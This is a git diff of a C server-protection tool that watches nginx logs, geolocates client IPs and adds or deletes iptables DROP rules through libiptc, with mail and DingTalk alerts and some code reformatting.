printf(" name: %s\n", target->u.user.name);
|
||||||
|
printf(" revision: %u\n", target->u.user.revision);
|
||||||
|
}
|
||||||
|
|
||||||
|
int iptc_delete_rule(const char *table, const char *chain, int protocol, const char *iniface, const char *outiface, \
|
||||||
|
unsigned int src, unsigned int dest, const char *srcports, const char *destports, const char *target)
|
||||||
|
{
|
||||||
|
struct xtc_handle *handle = NULL;
|
||||||
|
struct ipt_entry *chain_entry = NULL;
|
||||||
|
struct ipt_entry_match *entry_match = NULL;
|
||||||
|
struct ipt_entry_target *entry_target = NULL;
|
||||||
|
ipt_chainlabel labelit;
|
||||||
|
long match_size = 0;
|
||||||
|
int result = 1; // Default to failure
|
||||||
|
|
||||||
|
// Initialize rule entry
|
||||||
|
chain_entry = (struct ipt_entry *)calloc(1, sizeof(*chain_entry));
|
||||||
|
if (!chain_entry) {
|
||||||
|
perror("calloc failed");
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (src != 0) {
|
||||||
|
chain_entry->ip.src.s_addr = src;
|
||||||
|
chain_entry->ip.smsk.s_addr = 0xFFFFFFFF;
|
||||||
|
}
|
||||||
|
if (dest != 0) {
|
||||||
|
chain_entry->ip.dst.s_addr = dest;
|
||||||
|
chain_entry->ip.dmsk.s_addr = 0xFFFFFFFF;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (iniface)
|
||||||
|
strncpy(chain_entry->ip.iniface, iniface, IFNAMSIZ);
|
||||||
|
if (outiface)
|
||||||
|
strncpy(chain_entry->ip.outiface, outiface, IFNAMSIZ);
|
||||||
|
|
||||||
|
chain_entry->ip.proto = protocol;
|
||||||
|
if (IPPROTO_UDP == protocol)
|
||||||
|
entry_match = get_match(srcports, destports, &chain_entry->nfcache, "udp");
|
||||||
|
if (IPPROTO_TCP == protocol)
|
||||||
|
entry_match = get_match(srcports, destports, &chain_entry->nfcache, "tcp");
|
||||||
|
|
||||||
|
print_match("entry_match", entry_match);
|
||||||
|
|
||||||
|
if (strcmp(target, "") == 0 || strcmp(target, IPTC_LABEL_ACCEPT) == 0 || strcmp(target, IPTC_LABEL_DROP) == 0 || strcmp(target, IPTC_LABEL_QUEUE) == 0 || strcmp(target, IPTC_LABEL_RETURN) == 0) {
|
||||||
|
size_t size;
|
||||||
|
size = IPT_ALIGN(sizeof(struct ipt_entry_target)) + IPT_ALIGN(sizeof(int));
|
||||||
|
entry_target = (struct ipt_entry_target *)calloc(1, size);
|
||||||
|
if (!entry_target) {
|
||||||
|
perror("calloc failed for target");
|
||||||
|
goto cleanup;
|
||||||
|
}
|
||||||
|
entry_target->u.user.target_size = size;
|
||||||
|
strncpy(entry_target->u.user.name, target, XT_EXTENSION_MAXNAMELEN);
|
||||||
|
entry_target->u.user.name[XT_EXTENSION_MAXNAMELEN - 1] = '\0';
|
||||||
|
}
|
||||||
|
match_size = entry_match ? entry_match->u.match_size : 0;
|
||||||
|
print_target("entry_target", entry_target);
|
||||||
|
|
||||||
|
|
||||||
|
struct ipt_entry *tmp_ipt = chain_entry;
|
||||||
|
chain_entry = (struct ipt_entry *)realloc(chain_entry, sizeof(*chain_entry) + match_size + entry_target->u.target_size);
|
||||||
|
if (!chain_entry) {
|
||||||
|
free(tmp_ipt);
|
||||||
|
free(entry_target);
|
||||||
|
if (entry_match) free(entry_match);
|
||||||
|
perror("realloc failed");
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
memcpy(chain_entry->elems + match_size, entry_target, entry_target->u.target_size);
|
||||||
|
chain_entry->target_offset = sizeof(*chain_entry) + match_size;
|
||||||
|
chain_entry->next_offset = sizeof(*chain_entry) + match_size + entry_target->u.target_size;
|
||||||
|
if (entry_match) {
|
||||||
|
memcpy(chain_entry->elems, entry_match, match_size);
|
||||||
|
}
|
||||||
|
|
||||||
|
handle = iptc_init(table);
|
||||||
|
if (!handle) {
|
||||||
|
fprintf(stderr, "libiptc error: Can't initialize table %s, %s\n", table, iptc_strerror(errno));
|
||||||
|
goto cleanup;
|
||||||
|
}
|
||||||
|
|
||||||
|
strncpy(labelit, chain, sizeof(ipt_chainlabel));
|
||||||
|
labelit[sizeof(ipt_chainlabel) - 1] = '\0';
|
||||||
|
if (0 == iptc_is_chain(labelit, handle)) {
|
||||||
|
fprintf(stderr, "libiptc error: Chain %s does not exist!\n", labelit);
|
||||||
|
goto cleanup;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 打印 chain_entry 详细信息
|
||||||
|
print_rule("Chain entry", chain_entry);
|
||||||
|
|
||||||
|
// Find and delete the matching rule
|
||||||
|
const struct ipt_entry *entry;
|
||||||
|
unsigned int rule_num = 0;
|
||||||
|
for (entry = iptc_first_rule(labelit, handle); entry; (entry = iptc_next_rule(entry, handle), ++rule_num))
|
||||||
|
{
|
||||||
|
|
||||||
|
if (entry->ip.proto == chain_entry->ip.proto &&
|
||||||
|
entry->ip.src.s_addr == chain_entry->ip.src.s_addr &&
|
||||||
|
entry->ip.dst.s_addr == chain_entry->ip.dst.s_addr &&
|
||||||
|
strncmp(entry->ip.iniface, chain_entry->ip.iniface, IFNAMSIZ) == 0 &&
|
||||||
|
strncmp(entry->ip.outiface, chain_entry->ip.outiface, IFNAMSIZ) == 0)
|
||||||
|
{
|
||||||
|
// 打印当前 entry 详细信息
|
||||||
|
print_rule("Current entry", entry);
|
||||||
|
|
||||||
|
printf("Matching rule found. Deleting rule number: %u\n", rule_num);
|
||||||
|
|
||||||
|
// 删除规则
|
||||||
|
if (!iptc_delete_num_entry(labelit, rule_num, handle)) {
|
||||||
|
fprintf(stderr, "libiptc error: Can't delete entry, %s\n", iptc_strerror(errno));
|
||||||
|
iptc_free(handle);
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 提交更改
|
||||||
|
if (!iptc_commit(handle)) {
|
||||||
|
fprintf(stderr, "libiptc error: Commit error, %s\n", iptc_strerror(errno));
|
||||||
|
} else {
|
||||||
|
printf("Rule deleted successfully\n");
|
||||||
|
result = 0;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
cleanup:
|
||||||
|
if (entry_match) free(entry_match);
|
||||||
|
if (entry_target) free(entry_target);
|
||||||
|
if (chain_entry) free(chain_entry);
|
||||||
|
if (handle) iptc_free(handle);
|
||||||
|
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
int main(int argc, char *argv[]) {
|
||||||
|
// Test deleting rule
|
||||||
|
unsigned int srcIp;
|
||||||
|
inet_pton(AF_INET, argv[1], &srcIp);
|
||||||
|
|
||||||
|
int result = iptc_delete_rule("filter", "INPUT", IPPROTO_TCP, NULL, NULL, srcIp, 0, NULL, NULL, IPTC_LABEL_DROP);
|
||||||
|
|
||||||
|
return result;
|
||||||
|
}
|
155
nginx.c
Normal file
155
nginx.c
Normal file
@ -0,0 +1,155 @@
|
|||||||
|
#include "nginx.h"
|
||||||
|
|
||||||
|
#define EVENT_SIZE (sizeof(struct inotify_event))
|
||||||
|
#define EVENT_BUF_LEN (1024 * (EVENT_SIZE + 16))
|
||||||
|
#define INITIAL_BUFFER_SIZE 8192
|
||||||
|
|
||||||
|
void nginx_iptc(char *ip)
|
||||||
|
{
|
||||||
|
unsigned int srcIp;
|
||||||
|
inet_pton(AF_INET, ip, &srcIp);
|
||||||
|
iptc_add_rule("filter", "INPUT", IPPROTO_TCP, NULL, NULL, srcIp, 0, NULL, NULL, "DROP", NULL, 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
int IP_location(char *string, conf *config)
|
||||||
|
{
|
||||||
|
char *area = NULL;
|
||||||
|
char *xdb_path = "ip2region.xdb";
|
||||||
|
char *p = strchr(string, ' ');
|
||||||
|
char IP[64];
|
||||||
|
memset(IP, 0, 64);
|
||||||
|
|
||||||
|
char *t = _time();
|
||||||
|
char nginx_region_list[WHITELIST_IP_NUM][WHITELIST_IP_NUM] = { { 0 }, { 0 } };
|
||||||
|
char NGINX_REGION_LIST_COPY[config->NGINX_REGION_LIST_LEN + 1];
|
||||||
|
|
||||||
|
memset(NGINX_REGION_LIST_COPY, 0, config->NGINX_REGION_LIST_LEN + 1);
|
||||||
|
memcpy(NGINX_REGION_LIST_COPY, config->NGINX_REGION_LIST, config->NGINX_REGION_LIST_LEN); // 复制配置字符串,split_string()会改变原数据
|
||||||
|
|
||||||
|
split_string(NGINX_REGION_LIST_COPY, " ", nginx_region_list);
|
||||||
|
|
||||||
|
// IP 地理位置获取
|
||||||
|
if ((p - string) > 0) {
|
||||||
|
memmove(IP, string, p - string);
|
||||||
|
} else {
|
||||||
|
printf("Invalid IP string format.\n");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
if (access(xdb_path, F_OK) == -1) { // 判断 ip2region 地址定位库是否存在
|
||||||
|
xdb_path = "ip2region/ip2region.xdb";
|
||||||
|
if (access(xdb_path, F_OK) == -1) {
|
||||||
|
printf("ip2region.xdb DOESN'T EXIST!\n");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
area = ip2region(xdb_path, IP);
|
||||||
|
if (area == NULL) {
|
||||||
|
printf("ip2region解析地域错误\n");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
my_printf("IP地址:%s, %s\n", IP, area);
|
||||||
|
//printf("%s, %s\n", config->NGINX_LOG_FILE, config->NGINX_REGION_LIST);
|
||||||
|
|
||||||
|
if (config->NGINX == 1) // 开启Nginx防御
|
||||||
|
{
|
||||||
|
if (isregion(area, nginx_region_list) == 1) { // 返回1表示在白名单列表
|
||||||
|
printf(RED "%s Nginx Ip Address: %s, 属于地域白名单: %s\n" COLOR_NONE, t, IP, area);
|
||||||
|
} else {
|
||||||
|
my_printf(RED "%s Nginx 封禁 Ip Address: %s, 地址: %s!!!\n" COLOR_NONE, t, IP, area);
|
||||||
|
nginx_iptc(IP);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
int nginx_read_log(const char *filename, conf *p)
|
||||||
|
{
|
||||||
|
int fd = open(p->NGINX_LOG_FILE, O_RDONLY);
|
||||||
|
if (fd == -1) {
|
||||||
|
perror("open");
|
||||||
|
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
// Move to the end of the file
|
||||||
|
if (lseek(fd, 0, SEEK_END) == -1) {
|
||||||
|
perror("lseek");
|
||||||
|
close(fd);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
int inotify_fd = inotify_init();
|
||||||
|
if (inotify_fd < 0) {
|
||||||
|
perror("inotify_init");
|
||||||
|
close(fd);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
int wd = inotify_add_watch(inotify_fd, p->NGINX_LOG_FILE, IN_MODIFY);
|
||||||
|
if (wd == -1) {
|
||||||
|
perror("inotify_add_watch");
|
||||||
|
close(inotify_fd);
|
||||||
|
close(fd);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
char buffer[EVENT_BUF_LEN];
|
||||||
|
|
||||||
|
// Set the file descriptor to non-blocking mode
|
||||||
|
int flags = fcntl(fd, F_GETFL, 0);
|
||||||
|
if (flags == -1) {
|
||||||
|
perror("fcntl F_GETFL");
|
||||||
|
inotify_rm_watch(inotify_fd, wd);
|
||||||
|
close(inotify_fd);
|
||||||
|
close(fd);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
if (fcntl(fd, F_SETFL, flags | O_NONBLOCK) == -1) {
|
||||||
|
perror("fcntl F_SETFL");
|
||||||
|
inotify_rm_watch(inotify_fd, wd);
|
||||||
|
close(inotify_fd);
|
||||||
|
close(fd);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
// Initial dynamic buffer allocation
|
||||||
|
size_t buffer_size = INITIAL_BUFFER_SIZE;
|
||||||
|
char *read_buf = alloca(buffer_size);
|
||||||
|
if (!read_buf) {
|
||||||
|
perror("alloca");
|
||||||
|
inotify_rm_watch(inotify_fd, wd);
|
||||||
|
close(inotify_fd);
|
||||||
|
close(fd);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
while (1) {
|
||||||
|
int length = read(inotify_fd, buffer, EVENT_BUF_LEN);
|
||||||
|
if (length < 0) {
|
||||||
|
perror("read");
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
for (int i = 0; i < length;) {
|
||||||
|
struct inotify_event *event = (struct inotify_event *)&buffer[i];
|
||||||
|
if (event->mask & IN_MODIFY) {
|
||||||
|
int bytes_read;
|
||||||
|
while ((bytes_read = read(fd, read_buf, buffer_size - 1)) > 0) {
|
||||||
|
read_buf[bytes_read] = '\0';
|
||||||
|
IP_location(read_buf, p);
|
||||||
|
}
|
||||||
|
if (bytes_read == -1 && errno != EAGAIN) {
|
||||||
|
perror("read");
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
i += EVENT_SIZE + event->len;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
inotify_rm_watch(inotify_fd, wd);
|
||||||
|
close(inotify_fd);
|
||||||
|
close(fd);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
19
nginx.h
Normal file
19
nginx.h
Normal file
@ -0,0 +1,19 @@
|
|||||||
|
#ifndef NGINX_H
|
||||||
|
#define NGINX_H
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <sys/inotify.h>
|
||||||
|
#include <errno.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
|
||||||
|
#include "rhost.h"
|
||||||
|
#include "libiptc.h"
|
||||||
|
#include "ip2region/ip2region.h"
|
||||||
|
|
||||||
|
|
||||||
|
extern int nginx_read_log(const char *filename, conf * conf);
|
||||||
|
|
||||||
|
#endif
|
492
rhost.c
492
rhost.c
@ -1,16 +1,96 @@
|
|||||||
#include "conf.h"
|
|
||||||
#include "rhost.h"
|
#include "rhost.h"
|
||||||
|
|
||||||
#include "libiptc.h"
|
#include "libiptc.h"
|
||||||
#include "libclamav.h"
|
#include "libclamav.h"
|
||||||
#include "clamscan.h"
|
#include "clamscan.h"
|
||||||
|
|
||||||
#include "ccronexpr.h"
|
#include "ccronexpr.h"
|
||||||
|
#include "nginx.h"
|
||||||
|
#include "./cJSON/cJSON.h"
|
||||||
|
#include "ip2region/ip2region.h"
|
||||||
|
|
||||||
|
// CRON
|
||||||
|
#define MAX_SECONDS 60
|
||||||
|
#define CRON_MAX_MINUTES 60
|
||||||
|
#define CRON_MAX_HOURS 24
|
||||||
|
#define CRON_MAX_DAYS_OF_WEEK 8
|
||||||
|
#define CRON_MAX_DAYS_OF_MONTH 32
|
||||||
|
#define CRON_MAX_MONTHS 12
|
||||||
|
|
||||||
|
#define INVALID_INSTANT ((time_t) -1)
|
||||||
|
|
||||||
|
#define DATE_FORMAT "%Y-%m-%d_%H:%M:%S"
|
||||||
|
|
||||||
|
#ifndef ARRAY_LEN
|
||||||
|
#define ARRAY_LEN(x) sizeof(x)/sizeof(x[0])
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifdef CRON_TEST_MALLOC
|
||||||
|
static int cronAllocations = 0;
|
||||||
|
static int cronTotalAllocations = 0;
|
||||||
|
static int maxAlloc = 0;
|
||||||
|
void *cron_malloc(size_t n)
|
||||||
|
{
|
||||||
|
cronAllocations++;
|
||||||
|
cronTotalAllocations++;
|
||||||
|
if (cronAllocations > maxAlloc) {
|
||||||
|
maxAlloc = cronAllocations;
|
||||||
|
}
|
||||||
|
return malloc(n);
|
||||||
|
}
|
||||||
|
|
||||||
|
void cron_free(void *p)
|
||||||
|
{
|
||||||
|
cronAllocations--;
|
||||||
|
free(p);
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
// CRON END
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
// 自定义 printf 函数
|
||||||
|
void my_printf(const char *format, ...) {
|
||||||
|
va_list args;
|
||||||
|
va_start(args, format);
|
||||||
|
|
||||||
|
// 打印到控制台
|
||||||
|
vprintf(format, args);
|
||||||
|
va_end(args); // 结束对变参列表的处理
|
||||||
|
|
||||||
|
// 重新启动变参列表
|
||||||
|
va_start(args, format);
|
||||||
|
|
||||||
|
// 打开日志文件(追加模式)
|
||||||
|
FILE *log_file = fopen(LOG_FILE, "a");
|
||||||
|
if (log_file != NULL) {
|
||||||
|
// 获取当前时间
|
||||||
|
time_t now = time(NULL);
|
||||||
|
struct tm local_time;
|
||||||
|
localtime_r(&now, &local_time);
|
||||||
|
char time_str[20]; // YYYY-MM-DD HH:MM:SS 格式
|
||||||
|
strftime(time_str, sizeof(time_str), "%Y-%m-%d %H:%M:%S", &local_time);
|
||||||
|
|
||||||
|
// 打印时间戳到日志文件
|
||||||
|
fprintf(log_file, "[%s] ", time_str);
|
||||||
|
|
||||||
|
// 打印内容到日志文件
|
||||||
|
vfprintf(log_file, format, args);
|
||||||
|
|
||||||
|
// 关闭日志文件
|
||||||
|
fclose(log_file);
|
||||||
|
} else {
|
||||||
|
perror("Unable to open log file");
|
||||||
|
}
|
||||||
|
|
||||||
|
va_end(args); // 结束对变参列表的处理
|
||||||
|
}
|
||||||
|
|
||||||
// 存储公网IP
|
// 存储公网IP
|
||||||
char *public_ip;
|
char *public_ip;
|
||||||
|
|
||||||
struct MemoryStruct
|
struct MemoryStruct {
|
||||||
{
|
|
||||||
char *memory;
|
char *memory;
|
||||||
size_t size;
|
size_t size;
|
||||||
};
|
};
|
||||||
@ -20,7 +100,6 @@ int _strlen(char *str)
|
|||||||
{
|
{
|
||||||
char *_p = NULL;
|
char *_p = NULL;
|
||||||
|
|
||||||
|
|
||||||
if (str == NULL)
|
if (str == NULL)
|
||||||
return 0;
|
return 0;
|
||||||
|
|
||||||
@ -39,8 +118,7 @@ static size_t WriteMemoryCallback(void *contents, size_t size, size_t nmemb, voi
|
|||||||
|
|
||||||
// 注意这里根据每次被调用获得的数据重新动态分配缓存区的大小
|
// 注意这里根据每次被调用获得的数据重新动态分配缓存区的大小
|
||||||
char *ptr = realloc(mem->memory, mem->size + realsize + 1);
|
char *ptr = realloc(mem->memory, mem->size + realsize + 1);
|
||||||
if (ptr == NULL)
|
if (ptr == NULL) {
|
||||||
{
|
|
||||||
/* 内存不足! */
|
/* 内存不足! */
|
||||||
printf("not enough memory (realloc returned NULL)\n");
|
printf("not enough memory (realloc returned NULL)\n");
|
||||||
return 0;
|
return 0;
|
||||||
@ -130,8 +208,7 @@ char *process_json(char *buff, char *api)
|
|||||||
int area_len = 0;
|
int area_len = 0;
|
||||||
char *p = NULL;
|
char *p = NULL;
|
||||||
|
|
||||||
if (buff == NULL)
|
if (buff == NULL) {
|
||||||
{
|
|
||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -161,9 +238,7 @@ char *process_json(char *buff, char *api)
|
|||||||
} else {
|
} else {
|
||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
}
|
} else {
|
||||||
else
|
|
||||||
{
|
|
||||||
cJSON_Delete(cjson_init);
|
cJSON_Delete(cjson_init);
|
||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
@ -175,12 +250,9 @@ char *process_json(char *buff, char *api)
|
|||||||
// 检测系统
|
// 检测系统
|
||||||
int check_system()
|
int check_system()
|
||||||
{
|
{
|
||||||
if (0 == access("/etc/debian_version", F_OK))
|
if (0 == access("/etc/debian_version", F_OK)) {
|
||||||
{
|
|
||||||
return DEBISN_SYSTEM;
|
return DEBISN_SYSTEM;
|
||||||
}
|
} else if (0 == access("/etc/centos-release", F_OK)) {
|
||||||
else if (0 == access("/etc/centos-release", F_OK))
|
|
||||||
{
|
|
||||||
return CENTOS_SYSTEM;
|
return CENTOS_SYSTEM;
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -199,8 +271,7 @@ int dingding_warning(char *illegal_ip, char *public_ip, char *ip, conf * conf)
|
|||||||
strcpy(temp, public_ip);
|
strcpy(temp, public_ip);
|
||||||
temp[_strlen(public_ip) - 1] = '\0';
|
temp[_strlen(public_ip) - 1] = '\0';
|
||||||
|
|
||||||
if ((fp = fopen("libcurl.log", "wt+")) == NULL)
|
if ((fp = fopen("libcurl.log", "wt+")) == NULL) {
|
||||||
{
|
|
||||||
return 1;
|
return 1;
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -209,8 +280,7 @@ int dingding_warning(char *illegal_ip, char *public_ip, char *ip, conf * conf)
|
|||||||
|
|
||||||
curl_global_init(CURL_GLOBAL_ALL);
|
curl_global_init(CURL_GLOBAL_ALL);
|
||||||
curl = curl_easy_init();
|
curl = curl_easy_init();
|
||||||
if (curl == NULL)
|
if (curl == NULL) {
|
||||||
{
|
|
||||||
fclose(fp);
|
fclose(fp);
|
||||||
return 1;
|
return 1;
|
||||||
}
|
}
|
||||||
@ -267,13 +337,11 @@ int mail_warning(char *illegal_ip, char *public_ip, char *ip, conf * conf)
|
|||||||
temp[_strlen(public_ip) - 1] = '\0';
|
temp[_strlen(public_ip) - 1] = '\0';
|
||||||
snprintf(text, BUFFER, "echo \"主机:%s, 禁止(%s%s)访问\" | mail -s \"System ban IP\" %s", temp, ip, illegal_ip, conf->RECV_MAIL);
|
snprintf(text, BUFFER, "echo \"主机:%s, 禁止(%s%s)访问\" | mail -s \"System ban IP\" %s", temp, ip, illegal_ip, conf->RECV_MAIL);
|
||||||
|
|
||||||
if (NULL == (fp = popen(text, "r")))
|
if (NULL == (fp = popen(text, "r"))) {
|
||||||
{
|
|
||||||
perror("popen text");
|
perror("popen text");
|
||||||
}
|
}
|
||||||
|
|
||||||
while (fgets(buff, BUFFER, fp) != NULL)
|
while (fgets(buff, BUFFER, fp) != NULL) {
|
||||||
{
|
|
||||||
buff[_strlen(buff) - 1] = '\0';
|
buff[_strlen(buff) - 1] = '\0';
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -310,7 +378,6 @@ int QQ_mail_warning_Virus_files(char *local_ip, int Virus_number, conf * conf)
|
|||||||
char *text;
|
char *text;
|
||||||
char temp[32];
|
char temp[32];
|
||||||
|
|
||||||
|
|
||||||
command = (char *)alloca(BUFFER + (sizeof(QQMAIL)) + 1);
|
command = (char *)alloca(BUFFER + (sizeof(QQMAIL)) + 1);
|
||||||
text = (char *)alloca(BUFFER);
|
text = (char *)alloca(BUFFER);
|
||||||
|
|
||||||
@ -334,7 +401,6 @@ int QQ_mail_warning_Disk_Use(char *local_ip, int disk_use, conf * conf)
|
|||||||
char *text;
|
char *text;
|
||||||
char temp[32];
|
char temp[32];
|
||||||
|
|
||||||
|
|
||||||
command = (char *)alloca(BUFFER + (sizeof(QQMAIL)) + 1);
|
command = (char *)alloca(BUFFER + (sizeof(QQMAIL)) + 1);
|
||||||
text = (char *)alloca(BUFFER);
|
text = (char *)alloca(BUFFER);
|
||||||
|
|
||||||
@ -356,8 +422,7 @@ int whitelist(char *client_ip, char (*whitelist_ip)[WHITELIST_IP_NUM])
|
|||||||
{
|
{
|
||||||
int i;
|
int i;
|
||||||
|
|
||||||
for (i = 1; i < WHITELIST_IP_NUM - 1; i++)
|
for (i = 1; i < WHITELIST_IP_NUM - 1; i++) {
|
||||||
{
|
|
||||||
if (strcmp(whitelist_ip[i], "\0") == 0) // 如果字符串为空就跳出循环
|
if (strcmp(whitelist_ip[i], "\0") == 0) // 如果字符串为空就跳出循环
|
||||||
{
|
{
|
||||||
break;
|
break;
|
||||||
@ -377,18 +442,15 @@ int isregion(char *str, char (*region_list)[WHITELIST_IP_NUM])
|
|||||||
int i;
|
int i;
|
||||||
char *p;
|
char *p;
|
||||||
|
|
||||||
for (i = 1; i < WHITELIST_IP_NUM - 1; i++)
|
for (i = 1; i < WHITELIST_IP_NUM - 1; i++) {
|
||||||
{
|
|
||||||
if (strcmp(region_list[i], "\0") == 0) // 如果字符串为空就跳出循环
|
if (strcmp(region_list[i], "\0") == 0) // 如果字符串为空就跳出循环
|
||||||
{
|
{
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
//printf("%s %s\n", str, region_list[i]);
|
//printf("%s %s\n", str, region_list[i]);
|
||||||
// 在str中查找region_list[i]
|
// 在str中查找region_list[i]
|
||||||
p = strstr(str, region_list[i]);
|
p = strstr(str, region_list[i]);
|
||||||
if (p != NULL)
|
if (p != NULL) {
|
||||||
{
|
|
||||||
return 1;
|
return 1;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -396,33 +458,6 @@ int isregion(char *str, char (*region_list)[WHITELIST_IP_NUM])
|
|||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
// 去除空格
|
|
||||||
char *remove_space(char *str)
|
|
||||||
{
|
|
||||||
unsigned int i = 0, j = 0;
|
|
||||||
unsigned int uLen = _strlen(str);
|
|
||||||
char *strRet;
|
|
||||||
|
|
||||||
if (0 == uLen)
|
|
||||||
{
|
|
||||||
return '\0';
|
|
||||||
}
|
|
||||||
|
|
||||||
strRet = (char *)malloc(uLen + 2);
|
|
||||||
memset(strRet, 0, uLen + 2);
|
|
||||||
|
|
||||||
for (i = 0; i < uLen; i++)
|
|
||||||
{
|
|
||||||
if (str[i] != ' ')
|
|
||||||
{
|
|
||||||
strRet[j++] = str[i];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
strRet[j] = '\0';
|
|
||||||
|
|
||||||
return strRet;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 磁盘使用率
|
// 磁盘使用率
|
||||||
int disk_waring(int threshold)
|
int disk_waring(int threshold)
|
||||||
{
|
{
|
||||||
@ -441,15 +476,13 @@ int disk_waring(int threshold)
|
|||||||
//printf("%s\n", command);
|
//printf("%s\n", command);
|
||||||
fp = popen(command, "r");
|
fp = popen(command, "r");
|
||||||
|
|
||||||
while(fgets(buffer, BUFFER, fp) != NULL)
|
while (fgets(buffer, BUFFER, fp) != NULL) {
|
||||||
{
|
|
||||||
printf("%s", buffer);
|
printf("%s", buffer);
|
||||||
is = 1;
|
is = 1;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
pclose(fp);
|
pclose(fp);
|
||||||
|
|
||||||
|
|
||||||
return is;
|
return is;
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -468,36 +501,6 @@ char *_time()
|
|||||||
return strdup(temp);
|
return strdup(temp);
|
||||||
}
|
}
|
||||||
|
|
||||||
int system_version() {
|
|
||||||
FILE *fp = fopen("/etc/debian_version", "r");
|
|
||||||
|
|
||||||
if (fp == NULL) {
|
|
||||||
perror("Failed to open file");
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
char buff[256];
|
|
||||||
if (fgets(buff, sizeof(buff), fp) == NULL) {
|
|
||||||
fclose(fp);
|
|
||||||
perror("Failed to read file");
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
fclose(fp);
|
|
||||||
|
|
||||||
size_t len = strlen(buff);
|
|
||||||
if (len <= 0) {
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Remove trailing newline character, if present
|
|
||||||
if (buff[len - 1] == '\n') {
|
|
||||||
buff[len - 1] = '\0';
|
|
||||||
}
|
|
||||||
|
|
||||||
return atoi(buff);
|
|
||||||
}
|
|
||||||
|
|
||||||
// 封禁非法IP
|
// 封禁非法IP
|
||||||
int rule(conf *conf)
|
int rule(conf *conf)
|
||||||
{
|
{
|
||||||
@ -513,8 +516,6 @@ int rule(conf * conf)
|
|||||||
struct tm *tp;
|
struct tm *tp;
|
||||||
long int ip_length = 1;
|
long int ip_length = 1;
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
fp = NULL;
|
fp = NULL;
|
||||||
fc = NULL;
|
fc = NULL;
|
||||||
timep = time(NULL);
|
timep = time(NULL);
|
||||||
@ -523,12 +524,9 @@ int rule(conf * conf)
|
|||||||
memset(awk, 0, BUFFER);
|
memset(awk, 0, BUFFER);
|
||||||
memset(p_two, 0, 2);
|
memset(p_two, 0, 2);
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
char *t = NULL;
|
char *t = NULL;
|
||||||
t = _time();
|
t = _time();
|
||||||
|
|
||||||
|
|
||||||
if (DEBISN_SYSTEM == check_system()) // Debian 系统规则
|
if (DEBISN_SYSTEM == check_system()) // Debian 系统规则
|
||||||
{
|
{
|
||||||
if (system_version() >= 12)
|
if (system_version() >= 12)
|
||||||
@ -548,6 +546,7 @@ int rule(conf * conf)
|
|||||||
perror("GE_10");
|
perror("GE_10");
|
||||||
return -1;
|
return -1;
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
@ -561,30 +560,22 @@ int rule(conf * conf)
|
|||||||
}
|
}
|
||||||
else if (CENTOS_SYSTEM == check_system()) // Centos 7系统规则
|
else if (CENTOS_SYSTEM == check_system()) // Centos 7系统规则
|
||||||
{
|
{
|
||||||
if (tp->tm_mday >= 10)
|
if (tp->tm_mday >= 10) {
|
||||||
{
|
if ((fp = popen(CENTOS_GE_10, "r")) == NULL) {
|
||||||
if ((fp = popen(CENTOS_GE_10, "r")) == NULL)
|
|
||||||
{
|
|
||||||
perror("CENTOS_GE_10");
|
perror("CENTOS_GE_10");
|
||||||
return -1;
|
return -1;
|
||||||
}
|
}
|
||||||
}
|
} else {
|
||||||
else
|
if ((fp = popen(CENTOS_LE_10, "r")) == NULL) {
|
||||||
{
|
|
||||||
if ((fp = popen(CENTOS_LE_10, "r")) == NULL)
|
|
||||||
{
|
|
